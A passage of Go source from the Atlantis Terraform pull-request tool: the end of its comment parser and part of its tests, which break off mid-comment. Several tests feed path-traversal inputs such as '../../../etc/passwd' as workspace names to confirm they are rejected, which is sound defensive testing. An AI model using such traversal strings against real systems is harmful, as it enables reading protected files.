flagSet.SetOutput(io.Discard) flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Switch to this Terraform workspace before planning.") flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Which directory to run plan in relative to root of repo, ex. 'child/dir'.") flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Which project to run plan for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") case command.Apply.String(): name = command.Apply flagSet = pflag.NewFlagSet(command.Apply.String(), pflag.ContinueOnError) flagSet.SetOutput(io.Discard) flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Apply the plan for this Terraform workspace.") flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Apply the plan for this directory, relative to root of repo, ex. 'child/dir'.") flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Apply the plan for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") flagSet.BoolVarP(&autoMergeDisabled, autoMergeDisabledFlagLong, autoMergeDisabledFlagShort, false, "Disable automerge after apply.") flagSet.StringVarP(&autoMergeMethod, autoMergeMethodFlagLong, autoMergeMethodFlagShort, "", "Specifies the merge method for the VCS if automerge is enabled. (Currently only implemented for GitHub)") flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") case command.ApprovePolicies.String(): name = command.ApprovePolicies flagSet = pflag.NewFlagSet(command.ApprovePolicies.String(), pflag.ContinueOnError) flagSet.SetOutput(io.Discard) flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Approve policies for this Terraform workspace.") flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Approve policies for this directory, relative to root of repo, ex. 'child/dir'.") flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Approve policies for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") flagSet.StringVarP(&policySet, policySetFlagLong, policySetFlagShort, "", "Approve policies for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") flagSet.BoolVarP(&clearPolicyApproval, clearPolicyApprovalFlagLong, clearPolicyApprovalFlagShort, false, "Clear any existing policy approvals.") flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") case command.Unlock.String(): name = command.Unlock flagSet = pflag.NewFlagSet(command.Unlock.String(), pflag.ContinueOnError) flagSet.SetOutput(io.Discard) case command.Cancel.String(): name = command.Cancel flagSet = pflag.NewFlagSet(command.Cancel.String(), pflag.ContinueOnError) flagSet.SetOutput(io.Discard) case command.Version.String(): name = command.Version flagSet = pflag.NewFlagSet(command.Version.String(), pflag.ContinueOnError) flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Switch to this Terraform workspace before running version.") flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Which directory to run version in relative to root of repo, ex. 'child/dir'.") flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Print the version for this project. Refers to the name of the project configured in a repo config file.") flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") case command.Import.String(): name = command.Import flagSet = pflag.NewFlagSet(command.Import.String(), pflag.ContinueOnError) flagSet.SetOutput(io.Discard) flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Switch to this Terraform workspace before importing.") flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Which directory to run import in relative to root of repo, ex. 'child/dir'.") flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Which project to run import for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") case command.State.String(): name = command.State flagSet = pflag.NewFlagSet(command.State.String(), pflag.ContinueOnError) flagSet.SetOutput(io.Discard) flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Switch to this Terraform workspace before processing tfstate.") flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Which directory to run state command in relative to root of repo, ex. 'child/dir'.") flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Which project to run state command for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") default: return CommentParseResult{CommentResponse: fmt.Sprintf("Error: unknown command %q – this is a bug", cmd)} } subName, extraArgs, errResult := e.parseArgs(name, args, flagSet) if errResult != "" { return CommentParseResult{CommentResponse: errResult} } dir, err = e.validateDir(dir) if err != nil { return CommentParseResult{CommentResponse: e.errMarkdown(err.Error(), cmd, flagSet)} } // Use the same validation that Terraform uses: https://git.io/vxGhU. Plus // we also don't allow '..'. We don't want the workspace to contain a path // since we create files based on the name. if workspace != url.PathEscape(workspace) || strings.Contains(workspace, "..") { return CommentParseResult{CommentResponse: e.errMarkdown(fmt.Sprintf("invalid workspace: %q", workspace), cmd, flagSet)} } // If project is specified, dir or workspace should not be set. Since we // dir/workspace have defaults we can't detect if the user set the flag // to the default or didn't set the flag so there is an edge case here we // don't detect, ex. atlantis plan -p project -d . -w default won't cause // an error. if project != "" && (workspace != "" || dir != "") { err := fmt.Sprintf("cannot use -%s/--%s at same time as -%s/--%s or -%s/--%s", projectFlagShort, projectFlagLong, dirFlagShort, dirFlagLong, workspaceFlagShort, workspaceFlagLong) return CommentParseResult{CommentResponse: e.errMarkdown(err, cmd, flagSet)} } if autoMergeMethod != "" { if autoMergeDisabled { err := fmt.Sprintf("cannot use --%s at the same time as --%s", autoMergeMethodFlagLong, autoMergeDisabledFlagLong) return CommentParseResult{CommentResponse: e.errMarkdown(err, cmd, flagSet)} } if vcsHost != models.Github { err := fmt.Sprintf("--%s is not currently implemented for %s", autoMergeMethodFlagLong, vcsHost.String()) return CommentParseResult{CommentResponse: e.errMarkdown(err, cmd, flagSet)} } } return CommentParseResult{ Command: NewCommentCommand(dir, extraArgs, name, subName, verbose, autoMergeDisabled, autoMergeMethod, workspace, project, policySet, clearPolicyApproval), } } func (e *CommentParser) parseArgs(name command.Name, args []string, flagSet *pflag.FlagSet) (string, []string, string) { // Now parse the flags. // It's safe to use [2:] because we know there's at least 2 elements in args. err := flagSet.Parse(args[2:]) if err == pflag.ErrHelp { return "", nil, fmt.Sprintf("```\nUsage of %s:\n%s\n```", name.DefaultUsage(), flagSet.FlagUsagesWrapped(usagesCols)) } if err != nil { if name == command.Unlock { return "", nil, fmt.Sprintf(UnlockUsage, e.ExecutableName) } return "", nil, e.errMarkdown(err.Error(), name.String(), flagSet) } var commandArgs []string // commandArgs are the arguments that are passed before `--` without any parameter flags. if flagSet.ArgsLenAtDash() == -1 { commandArgs = flagSet.Args() } else { commandArgs = flagSet.Args()[0:flagSet.ArgsLenAtDash()] } // If command require subcommand, get it from command args var subCommand string availableSubCommands := name.SubCommands() if len(availableSubCommands) > 0 { // command requires a subcommand if len(commandArgs) < 1 { return "", nil, e.errMarkdown("subcommand required", name.String(), flagSet) } subCommand, commandArgs = commandArgs[0], commandArgs[1:] isAvailableSubCommand := utils.SlicesContains(availableSubCommands, subCommand) if !isAvailableSubCommand { errMsg := fmt.Sprintf("invalid subcommand %s (not %s)", subCommand, strings.Join(availableSubCommands, ", ")) return "", nil, e.errMarkdown(errMsg, name.String(), flagSet) } } // check command args count requirements commandArgCount, err := name.CommandArgCount(subCommand) if err != nil { return "", nil, e.errMarkdown(err.Error(), name.String(), flagSet) } if !commandArgCount.IsMatchCount(len(commandArgs)) { return "", nil, e.errMarkdown(fmt.Sprintf("unknown argument(s) – %s", strings.Join(commandArgs, " ")), name.DefaultUsage(), flagSet) } var extraArgs []string // command extra_args if flagSet.ArgsLenAtDash() != -1 { extraArgs = append(extraArgs, flagSet.Args()[flagSet.ArgsLenAtDash():]...) } // pass commandArgs into extraArgs after extra args. // - after comment_parser, we will use extra_args only. // - terraform command args accept after options like followings // - e.g. // - from: `atlantis import ADDRESS ID -- -var foo=bar // - to: `terraform import -var foo=bar ADDRESS ID` // - e.g. // - from: `atlantis state rm ADDRESS1 ADDRESS2 -- -var foo=bar // - to: `terraform state rm -var foo=bar ADDRESS1 ADDRESS2` (subcommand=rm) extraArgs = append(extraArgs, commandArgs...) return subCommand, extraArgs, "" } // BuildPlanComment builds a plan comment for the specified args. func (e *CommentParser) BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) string { flags := e.buildFlags(repoRelDir, workspace, project, false, "") commentFlags := "" if len(commentArgs) > 0 { var flagsWithoutQuotes []string for _, f := range commentArgs { f = strings.TrimPrefix(f, "\"") f = strings.TrimSuffix(f, "\"") flagsWithoutQuotes = append(flagsWithoutQuotes, f) } commentFlags = fmt.Sprintf(" -- %s", strings.Join(flagsWithoutQuotes, " ")) } return fmt.Sprintf("%s %s%s%s", e.ExecutableName, command.Plan.String(), flags, commentFlags) } // BuildApplyComment builds an apply comment for the specified args. func (e *CommentParser) BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string { flags := e.buildFlags(repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod) return fmt.Sprintf("%s %s%s", e.ExecutableName, command.Apply.String(), flags) } // BuildApprovePoliciesComment builds an apply comment for the specified args. func (e *CommentParser) BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) string { flags := e.buildFlags(repoRelDir, workspace, project, false, "") return fmt.Sprintf("%s %s%s", e.ExecutableName, command.ApprovePolicies.String(), flags) } func (e *CommentParser) buildFlags(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string { // Add quotes if dir has spaces. if strings.Contains(repoRelDir, " ") { repoRelDir = fmt.Sprintf("%q", repoRelDir) } var flags string switch { // If project is specified we can just use its name. case project != "": flags = fmt.Sprintf(" -%s %s", projectFlagShort, project) case repoRelDir == DefaultRepoRelDir && workspace == DefaultWorkspace: // If it's the root and default workspace then we just need to specify one // of the flags and the other will get defaulted. flags = fmt.Sprintf(" -%s %s", dirFlagShort, DefaultRepoRelDir) case repoRelDir == DefaultRepoRelDir: // If dir is the default then we just need to specify workspace. flags = fmt.Sprintf(" -%s %s", workspaceFlagShort, workspace) case workspace == DefaultWorkspace: // If workspace is the default then we just need to specify the dir. flags = fmt.Sprintf(" -%s %s", dirFlagShort, repoRelDir) default: // Otherwise we have to specify both flags. flags = fmt.Sprintf(" -%s %s -%s %s", dirFlagShort, repoRelDir, workspaceFlagShort, workspace) } if autoMergeDisabled { flags = fmt.Sprintf("%s --%s", flags, autoMergeDisabledFlagLong) } if autoMergeMethod != "" { flags = fmt.Sprintf("%s --%s %s", flags, autoMergeMethodFlagLong, autoMergeMethod) } return flags } func (e *CommentParser) validateDir(dir string) (string, error) { if dir == "" { return dir, nil } // Check if dir contains glob pattern characters if containsGlobPattern(dir) { // For glob patterns, we validate but don't clean (cleaning mangles glob chars) // Security check: prevent directory traversal even in glob patterns if strings.Contains(dir, "..") { return "", fmt.Errorf("using '..' in glob pattern %q with -%s/--%s is not allowed", dir, dirFlagShort, dirFlagLong) } // Validate the glob pattern syntax if !doublestar.ValidatePattern(dir) { return "", fmt.Errorf("invalid glob pattern %q with -%s/--%s", dir, dirFlagShort, dirFlagLong) } // Clean leading ./ or / for consistency with non-glob paths dir = strings.TrimPrefix(dir, "./") dir = strings.TrimPrefix(dir, "/") if dir == "" { dir = "." } return dir, nil } // For non-glob patterns, use standard path cleaning validatedDir := filepath.Clean(dir) // Join with . so the path is relative. This helps us if they use '/', // and is safe to do if their path is relative since it's a no-op. validatedDir = filepath.Join(".", validatedDir) // Need to clean again to resolve relative validatedDirs. validatedDir = filepath.Clean(validatedDir) // Detect relative dirs since they're not allowed. if strings.HasPrefix(validatedDir, "..") { return "", fmt.Errorf("using a relative path %q with -%s/--%s is not allowed", dir, dirFlagShort, dirFlagLong) } return validatedDir, nil } // containsGlobPattern returns true if the string contains glob pattern characters. func containsGlobPattern(s string) bool { return strings.ContainsAny(s, "*?[") } func (e *CommentParser) isAllowedCommand(cmd string) bool { for _, allowed := range e.AllowCommands { if allowed.String() == cmd { return true } } return false } func (e *CommentParser) errMarkdown(errMsg string, cmd string, flagSet *pflag.FlagSet) string { return fmt.Sprintf("```\nError: %s.\nUsage of %s:\n%s```", errMsg, cmd, flagSet.FlagUsagesWrapped(usagesCols)) } func (e *CommentParser) HelpComment() string { buf := &bytes.Buffer{} var tmpl = template.Must(template.New("").Parse(helpCommentTemplate)) if err := tmpl.Execute(buf, struct { ExecutableName string AllowVersion bool AllowPlan bool AllowApply bool AllowUnlock bool AllowApprovePolicies bool AllowImport bool AllowState bool }{ ExecutableName: e.ExecutableName, AllowVersion: e.isAllowedCommand(command.Version.String()), AllowPlan: e.isAllowedCommand(command.Plan.String()), AllowApply: e.isAllowedCommand(command.Apply.String()), AllowUnlock: e.isAllowedCommand(command.Unlock.String()), AllowApprovePolicies: e.isAllowedCommand(command.ApprovePolicies.String()), AllowImport: e.isAllowedCommand(command.Import.String()), AllowState: e.isAllowedCommand(command.State.String()), }); err != nil { return fmt.Sprintf("Failed to render template, this is a bug: %v", err) } return buf.String() } var helpCommentTemplate = "```cmake\n" + `atlantis Terraform Pull Request Automation Usage: {{ .ExecutableName }} [options] -- [terraform options] Examples: # show atlantis help {{ .ExecutableName }} help {{- if .AllowPlan }} # run plan in the root directory passing the -target flag to terraform {{ .ExecutableName }} plan -d . -- -target=resource {{- end }} {{- if .AllowApply }} # apply all unapplied plans from this pull request {{ .ExecutableName }} apply # apply the plan for the root directory and staging workspace {{ .ExecutableName }} apply -d . -w staging {{- end }} Commands: {{- if .AllowPlan }} plan Runs 'terraform plan' for the changes in this pull request. To plan a specific project, use the -d, -w and -p flags. {{- end }} {{- if .AllowApply }} apply Runs 'terraform apply' on all unapplied plans from this pull request. To only apply a specific plan, use the -d, -w and -p flags. {{- end }} {{- if .AllowUnlock }} unlock Removes all atlantis locks and discards all plans for this PR. To unlock a specific plan you can use the Atlantis UI. {{- end }} {{- if .AllowApprovePolicies }} approve_policies Approves all current policy checking failures for the PR. {{- end }} {{- if .AllowVersion }} version Print the output of 'terraform version' {{- end }} {{- if .AllowImport }} import ADDRESS ID Runs 'terraform import' for the passed address resource. To import a specific project, use the -d, -w and -p flags. {{- end }} {{- if .AllowState }} state rm ADDRESS... Runs 'terraform state rm' for the passed address resource. To remove a specific project resource, use the -d, -w and -p flags. {{- end }} help View help. Flags: -h, --help help for atlantis Use "{{ .ExecutableName }} [command] --help" for more information about a command.` + "\n```" // DidYouMeanAtlantisComment is the comment we add to the pull request when // someone runs a misspelled command or terraform instead of atlantis. var DidYouMeanAtlantisComment = "Did you mean to use `%s` instead of `%s`?" // UnlockUsage is the comment we add to the pull request when someone runs // `atlantis unlock` with flags. var UnlockUsage = "`Usage of unlock:`\n\n ```cmake\n" + `%s unlock Unlocks the entire PR and discards all plans in this PR. Arguments or flags are not supported at the moment. If you need to unlock a specific project please use the atlantis UI.` + "\n```" ================================================ FILE: server/events/comment_parser_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "fmt" "strings" "testing" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" "github.com/stretchr/testify/assert" ) var commentParser = events.CommentParser{ GithubUser: "github-user", GitlabUser: "gitlab-user", GiteaUser: "gitea-user", ExecutableName: "atlantis", AllowCommands: command.AllCommentCommands, } func TestNewCommentParser(t *testing.T) { type args struct { githubUser string gitlabUser string giteaUser string bitbucketUser string azureDevopsUser string executableName string allowCommands []command.Name } tests := []struct { name string args args want *events.CommentParser }{ { name: "duplicate allow commands filtered", args: args{ allowCommands: []command.Name{command.Plan, command.Plan, command.Plan}, }, want: &events.CommentParser{ AllowCommands: []command.Name{command.Plan}, }, }, { name: "comment un-available commands filtered", args: args{ // PolicyCheck and Autoplan cannot be used on comment command, so filtered allowCommands: []command.Name{command.Plan, command.Apply, command.Unlock, command.PolicyCheck, command.ApprovePolicies, command.Autoplan, command.Version, command.Import}, }, want: &events.CommentParser{ AllowCommands: []command.Name{command.Version, command.Plan, command.Apply, command.Unlock, command.ApprovePolicies, command.Import}, }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { assert.Equalf(t, tt.want, events.NewCommentParser(tt.args.githubUser, tt.args.gitlabUser, tt.args.giteaUser, tt.args.bitbucketUser, tt.args.azureDevopsUser, tt.args.executableName, tt.args.allowCommands), "NewCommentParser(%v, %v, %v, %v, %v, %v)", tt.args.githubUser, tt.args.gitlabUser, tt.args.bitbucketUser, tt.args.azureDevopsUser, tt.args.executableName, tt.args.allowCommands) }) } } func TestParse_Ignored(t *testing.T) { ignoreComments := []string{ "", "a", "abc", "atlantis plan\nbut with newlines", "terraform plan\nbut with newlines", "This shouldn't error, but it does.", } for _, c := range ignoreComments { r := commentParser.Parse(c, models.Github) Assert(t, r.Ignore, "expected Ignore to be true for comment %q", c) } } func TestParse_ExecutableName(t *testing.T) { cases := []struct { user string expIgnore bool }{ {"custom-executable-name", false}, {"run", false}, {"@github-user", false}, {"github-user", true}, {"atlantis", true}, } for _, c := range cases { t.Run(c.user, func(t *testing.T) { var commentParser = events.CommentParser{ GithubUser: "github-user", ExecutableName: "custom-executable-name", } comment := fmt.Sprintf("%s help", c.user) r := commentParser.Parse(comment, models.Github) Assert(t, r.Ignore == c.expIgnore, "expected Ignore %q, but got %q", c.expIgnore, r.Ignore) }) } } func TestParse_HelpResponse(t *testing.T) { allowCommandsCases := [][]command.Name{ command.AllCommentCommands, {}, // empty case } helpComments := []string{ "run", "atlantis", "@github-user", "atlantis help", "atlantis --help", "atlantis -h", "atlantis help something else", "atlantis help plan", } for _, allowCommandCase := range allowCommandsCases { for _, c := range helpComments { t.Run(fmt.Sprintf("%s with allow commands %v", c, allowCommandCase), func(t *testing.T) { commentParser := events.CommentParser{ GithubUser: "github-user", ExecutableName: "atlantis", AllowCommands: allowCommandCase, } r := commentParser.Parse(c, models.Github) Equals(t, commentParser.HelpComment(), r.CommentResponse) }) } } } func TestParse_TrimCommandString(t *testing.T) { t.Log("commands should be trimmed of whitespace and backtick (helps with Gitlab copy/paste issues)") allowCommandsCases := [][]command.Name{ command.AllCommentCommands, {}, // empty case } helpComments := []string{ "`atlantis help`", "` atlantis help `", "`atlantis help` ", " `atlantis help", } for _, allowCommandCase := range allowCommandsCases { for _, c := range helpComments { t.Run(fmt.Sprintf("%s with allow commands %v", c, allowCommandCase), func(t *testing.T) { commentParser := events.CommentParser{ GithubUser: "github-user", ExecutableName: "atlantis", AllowCommands: allowCommandCase, } r := commentParser.Parse(c, models.Github) Equals(t, commentParser.HelpComment(), r.CommentResponse) }) } } } func TestParse_UnusedArguments(t *testing.T) { t.Log("if there are unused flags we return an error") cases := []struct { Command command.Name Args string Unused string }{ { command.Plan, "-d . arg", "arg", }, { command.Plan, "arg -d .", "arg", }, { command.Plan, "arg", "arg", }, { command.Plan, "arg arg2", "arg arg2", }, { command.Plan, "-d . arg -w kjj arg2", "arg arg2", }, { command.Apply, "-d . arg", "arg", }, { command.Apply, "arg arg2", "arg arg2", }, { command.Apply, "arg arg2 -- useful", "arg arg2", }, { command.Apply, "arg arg2 --", "arg arg2", }, { command.ApprovePolicies, "arg arg2 arg3 --", "arg arg2 arg3", }, { command.Import, "arg --", "arg", }, { command.Import, "arg1 arg2 arg3 --", "arg1 arg2 arg3", }, } for _, c := range cases { comment := fmt.Sprintf("atlantis %s %s", c.Command.String(), c.Args) t.Run(comment, func(t *testing.T) { r := commentParser.Parse(comment, models.Github) var usage string switch c.Command { case command.Plan: usage = PlanUsage case command.Apply: usage = ApplyUsage case command.ApprovePolicies: usage = ApprovePolicyUsage case command.Import: usage = ImportUsage } Equals(t, fmt.Sprintf("```\nError: unknown argument(s) – %s.\n%s```", c.Unused, usage), r.CommentResponse) }) } } func TestParse_UnknownShorthandFlag(t *testing.T) { comment := "atlantis unlock -d ." r := commentParser.Parse(comment, models.Github) Equals(t, UnlockUsage, r.CommentResponse) } func TestParse_DidYouMeanAtlantis(t *testing.T) { t.Log("given a comment that should result in a 'did you mean atlantis'" + "response, should set CommentParseResult.CommentResult") comments := []string{ "terraform", "terraform help", "terraform --help", "terraform -h", "terraform plan", "terraform apply", "terraform plan -w workspace -d . -- test", } for _, c := range comments { r := commentParser.Parse(c, models.Github) Assert(t, r.CommentResponse == fmt.Sprintf(events.DidYouMeanAtlantisComment, "atlantis", "terraform"), "For comment %q expected CommentResponse==%q but got %q", c, events.DidYouMeanAtlantisComment, r.CommentResponse) } } func TestParse_InvalidCommand(t *testing.T) { t.Log("given a comment with an invalid atlantis command, should return " + "a warning.") comments := []string{ "atlantis paln", "atlantis appely apply", } cp := events.NewCommentParser( "github-user", "gitlab-user", "gitea-user", "bitbucket-user", "azure-devops-user", "atlantis", []command.Name{ command.Version, command.Unlock, command.Apply, command.Plan, command.Apply, // duplicate command is filtered }, ) for _, c := range comments { r := cp.Parse(c, models.Github) exp := fmt.Sprintf("```\nError: unknown command %q.\nRun 'atlantis --help' for usage.\nAvailable commands(--allow-commands): version, plan, apply, unlock\n```", strings.Fields(c)[1]) Equals(t, exp, r.CommentResponse) } } func TestParse_SubcommandUsage(t *testing.T) { t.Log("given a comment asking for the usage of a subcommand should " + "return help") tests := []struct { input string expUsage string }{ {"atlantis plan -h", "plan"}, {"atlantis plan --help", "plan"}, {"atlantis apply -h", "apply"}, {"atlantis apply --help", "apply"}, {"atlantis approve_policies -h", "approve_policies"}, {"atlantis approve_policies --help", "approve_policies"}, {"atlantis import -h", "import ADDRESS ID"}, {"atlantis import --help", "import ADDRESS ID"}, {"atlantis state -h", "state [rm ADDRESS...]"}, {"atlantis state --help", "state [rm ADDRESS...]"}, } for _, c := range tests { r := commentParser.Parse(c.input, models.Github) exp := "Usage of " + c.expUsage Assert(t, strings.Contains(r.CommentResponse, exp), "For comment %q expected CommentResponse %q to contain %q", c, r.CommentResponse, exp) Assert(t, !strings.Contains(r.CommentResponse, "Error:"), "For comment %q expected CommentResponse %q to not contain %q", c, r.CommentResponse, "Error: ") } } func TestParse_InvalidFlags(t *testing.T) { t.Log("given a comment with a valid atlantis command but invalid" + " flags, should return a warning and the proper usage") cases := []struct { comment string exp string }{ { "atlantis plan -e", "Error: unknown shorthand flag: 'e' in -e", }, { "atlantis plan --abc", "Error: unknown flag: --abc", }, { "atlantis apply -e", "Error: unknown shorthand flag: 'e' in -e", }, { "atlantis apply --abc", "Error: unknown flag: --abc", }, { "atlantis import --abc", "Error: unknown flag: --abc", }, { "atlantis state rm --abc", "Error: unknown flag: --abc", }, } for _, c := range cases { r := commentParser.Parse(c.comment, models.Github) Assert(t, strings.Contains(r.CommentResponse, c.exp), "For comment %q expected CommentResponse %q to contain %q", c.comment, r.CommentResponse, c.exp) Assert(t, strings.Contains(r.CommentResponse, "Usage of "), "For comment %q expected CommentResponse %q to contain %q", c.comment, r.CommentResponse, "Usage of ") } } func TestParse_RelativeDirPath(t *testing.T) { t.Log("if -d is used with a relative path, should return an error") comments := []string{ "atlantis plan -d ..", "atlantis apply -d ..", "atlantis import -d .. address id", "atlantis state -d .. rm address", // These won't return an error because we prepend with . when parsing. //"atlantis plan -d /..", //"atlantis apply -d /..", //"atlantis import -d /.. address id", //"atlantis state rm -d /.. address", "atlantis plan -d ./..", "atlantis apply -d ./..", "atlantis import -d ./.. address id", "atlantis state -d ./.. rm address", "atlantis plan -d a/b/../../..", "atlantis apply -d a/../..", "atlantis import -d a/../.. address id", "atlantis state -d a/../.. rm address id", } for _, c := range comments { r := commentParser.Parse(c, models.Github) exp := "Error: using a relative path" Assert(t, strings.Contains(r.CommentResponse, exp), "For comment %q expected CommentResponse %q to contain %q", c, r.CommentResponse, exp) } } func TestParse_GlobPatternDir(t *testing.T) { t.Log("if -d is used with a glob pattern, it should be preserved correctly") cases := []struct { comment string expectedDir string }{ {"atlantis plan -d modules/*", "modules/*"}, {"atlantis plan -d modules/**", "modules/**"}, {"atlantis plan -d environments/*/apps", "environments/*/apps"}, {"atlantis plan -d 'env[0-9]/*'", "env[0-9]/*"}, {"atlantis plan -d stacks/prod-?-*", "stacks/prod-?-*"}, {"atlantis apply -d modules/**", "modules/**"}, {"atlantis import -d modules/* address id", "modules/*"}, {"atlantis state -d modules/* rm address", "modules/*"}, } for _, c := range cases { t.Run(c.comment, func(t *testing.T) { r := commentParser.Parse(c.comment, models.Github) assert.Empty(t, r.CommentResponse, "Expected no error for comment %q", c.comment) assert.NotNil(t, r.Command, "Expected command to be parsed for comment %q", c.comment) assert.Equal(t, c.expectedDir, r.Command.RepoRelDir, "Expected dir %q but got %q for comment %q", c.expectedDir, r.Command.RepoRelDir, c.comment) }) } } func TestParse_GlobPatternDirWithRelativePath(t *testing.T) { t.Log("if -d is used with a glob pattern containing '..', should return an error") comments := []string{ "atlantis plan -d '../*'", "atlantis plan -d 'modules/../*'", "atlantis plan -d '../**'", "atlantis apply -d '../apps/*'", "atlantis import -d '../*' address id", "atlantis state -d '../*' rm address", } for _, c := range comments { t.Run(c, func(t *testing.T) { r := commentParser.Parse(c, models.Github) exp := "using '..' in glob pattern" assert.Contains(t, r.CommentResponse, exp, "For comment %q expected CommentResponse %q to contain %q", c, r.CommentResponse, exp) }) } } func TestParse_InvalidGlobPattern(t *testing.T) { t.Log("if -d is used with an invalid glob pattern, should return an error") comments := []string{ "atlantis plan -d 'modules/[invalid'", "atlantis apply -d 'apps/[unclosed'", } for _, c := range comments { t.Run(c, func(t *testing.T) { r := commentParser.Parse(c, models.Github) exp := "invalid glob pattern" assert.Contains(t, r.CommentResponse, exp, "For comment %q expected CommentResponse %q to contain %q", c, r.CommentResponse, exp) }) } } func TestParse_ValidCommand(t *testing.T) { comments := []string{ "atlantis plan\n", "atlantis plan\n\n", "atlantis plan\r\n", "atlantis plan\r\n\r\n", "\natlantis plan", "\r\natlantis plan", "\natlantis plan\n", "\r\natlantis plan\r\n", "atlantis plan", "Atlantis plan", "Atlantis Plan", "ATLANTIS PLAN", } for _, comment := range comments { t.Run(comment, func(t *testing.T) { r := commentParser.Parse(comment, models.Github) Equals(t, "", r.CommentResponse) Equals(t, &events.CommentCommand{ RepoRelDir: "", Flags: nil, Name: command.Plan, Verbose: false, Workspace: "", ProjectName: "", }, r.Command) }) } } func TestParse_InvalidWorkspace(t *testing.T) { t.Log("if -w is used with '..' or '/', should return an error") comments := []string{ "atlantis plan -w ..", "atlantis apply -w ..", "atlantis import -w .. address id", "atlantis import -w .. rm address", "atlantis plan -w /", "atlantis apply -w /", "atlantis import -w / address id", "atlantis state -w / rm address", "atlantis plan -w ..abc", "atlantis apply -w abc..", "atlantis import -w abc.. address id", "atlantis state -w abc.. rm address", "atlantis plan -w abc..abc", "atlantis apply -w ../../../etc/passwd", "atlantis import -w ../../../etc/passwd address id", "atlantis state -w ../../../etc/passwd rm address", } for _, c := range comments { r := commentParser.Parse(c, models.Github) exp := "Error: invalid workspace" Assert(t, strings.Contains(r.CommentResponse, exp), "For comment %q expected CommentResponse %q to contain %q", c, r.CommentResponse, exp) } } func TestParse_UsingProjectAtSameTimeAsWorkspaceOrDir(t *testing.T) { cases := []string{ "atlantis plan -w workspace -p project", "atlantis plan -d dir -p project", "atlantis plan -d dir -w workspace -p project", } for _, c := range cases { t.Run(c, func(t *testing.T) { r := commentParser.Parse(c, models.Github) exp := "Error: cannot use -p/--project at same time as -d/--dir or -w/--workspace" Assert(t, strings.Contains(r.CommentResponse, exp), "For comment %q expected CommentResponse %q to contain %q", c, r.CommentResponse, exp) }) } } func TestParse_Parsing(t *testing.T) { cases := []struct { flags string expWorkspace string expDir string expVerbose bool expExtraArgs string expProject string }{ // Test defaults. { "", "", "", false, "", "", }, // Test each short flag individually. { "-w workspace", "workspace", "", false, "", "", }, { "-d dir", "", "dir", false, "", "", }, { "-p project", "", "", false, "", "project", }, { "--verbose", "", "", true, "", "", }, // Test each long flag individually. { "--workspace workspace", "workspace", "", false, "", "", }, { "--dir dir", "", "dir", false, "", "", }, { "--project project", "", "", false, "", "project", }, // Test all of them with different permutations. { "-w workspace -d dir --verbose", "workspace", "dir", true, "", "", }, { "-d dir -w workspace --verbose", "workspace", "dir", true, "", "", }, { "--verbose -w workspace -d dir", "workspace", "dir", true, "", "", }, { "-p project --verbose", "", "", true, "", "project", }, { "--verbose -p project", "", "", true, "", "project", }, // Test that flags after -- are ignored { "-w workspace -d dir -- --verbose", "workspace", "dir", false, "--verbose", "", }, { "-w workspace -- -d dir --verbose", "workspace", "", false, "-d dir --verbose", "", }, // Test the extra args parsing. { "--", "", "", false, "", "", }, { "-w workspace -d dir --verbose -- arg one -two --three &&", "workspace", "dir", true, "arg one -two --three &&", "", }, // Test whitespace. { "\t-w\tworkspace\t-d\tdir\t--verbose\t--\targ\tone\t-two\t--three\t&&", "workspace", "dir", true, "arg one -two --three &&", "", }, { " -w workspace -d dir --verbose -- arg one -two --three &&", "workspace", "dir", true, "arg one -two --three &&", "", }, // Test that the 